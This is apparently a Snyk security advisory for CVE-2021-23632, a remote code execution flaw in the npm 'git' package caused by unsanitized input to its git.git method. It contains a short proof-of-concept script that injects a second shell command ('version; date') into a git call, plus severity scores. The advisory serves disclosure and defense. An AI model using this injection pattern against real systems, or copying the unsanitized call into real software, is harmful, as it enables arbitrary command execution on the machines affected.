

Remote Code Execution (RCE)

Affecting git package, versions *

INTRODUCED: 23 AUG 2021
CVE-2021-23632 ⓘ
CWE-94 ⓘ
FIRST ADDED BY SNYK
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How to fix?

There is no fixed version for git .

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the git.git method, which allows execution of OS commands rather than just git commands.

Steps to Reproduce

1. Create a file named exploit.js with the following content:

```

var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date";

repo.git(user_input, function(err, result) { console.log(result); })

```

2. In the same directory as exploit.js, run npm install git .

3. Run exploit.js: node exploit.js .

You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

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MEDIUM

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Attack Complexity	High ⓘ
Privileges Required	HIGH ⓘ
Confidentiality	HIGH ⓘ
Integrity	HIGH ⓘ
Availability	HIGH ⓘ

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9.8 CRITICAL

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Snyk ID	SNYK-JS-GIT-1568518
Published	18 Oct 2021
Disclosed	23 Aug 2021
Credit	Paul-Emmanuel Raoul of SkypLabs

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